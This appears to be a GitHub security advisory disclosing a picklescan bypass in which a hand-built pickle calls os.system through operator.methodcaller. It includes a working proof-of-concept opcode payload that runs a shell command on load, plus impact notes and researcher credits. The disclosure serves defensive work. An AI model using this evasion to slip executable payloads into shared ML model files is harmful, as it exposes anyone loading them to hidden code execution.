Picklescan uses operator.methodcaller, which is a built-in python library function to execute remote pickle files.
The attack payload executes in the following steps:
operator.methodcaller function in method reduce.import pickle
import pickletools
opcode1 = b'''cbuiltins
__import__
(Vos
tRp0
0coperator
methodcaller
(Vsystem
Vecho "pwned by operator.methodcaller"
tR(g0
tR.'''
pickletools.dis(opcode1)
pickle.loads(opcode1)
This PoC can't be easily created by pickle.dumps, therefore it was manually built.
Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Pinji Chen (cpj24@mails.tsinghua.edu.cn) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).
{
"severity": "HIGH",
"github_reviewed_at": "2025-12-29T20:03:30Z",
"cwe_ids": [
"CWE-502",
"CWE-94"
],
"nvd_published_at": null,
"github_reviewed": true
}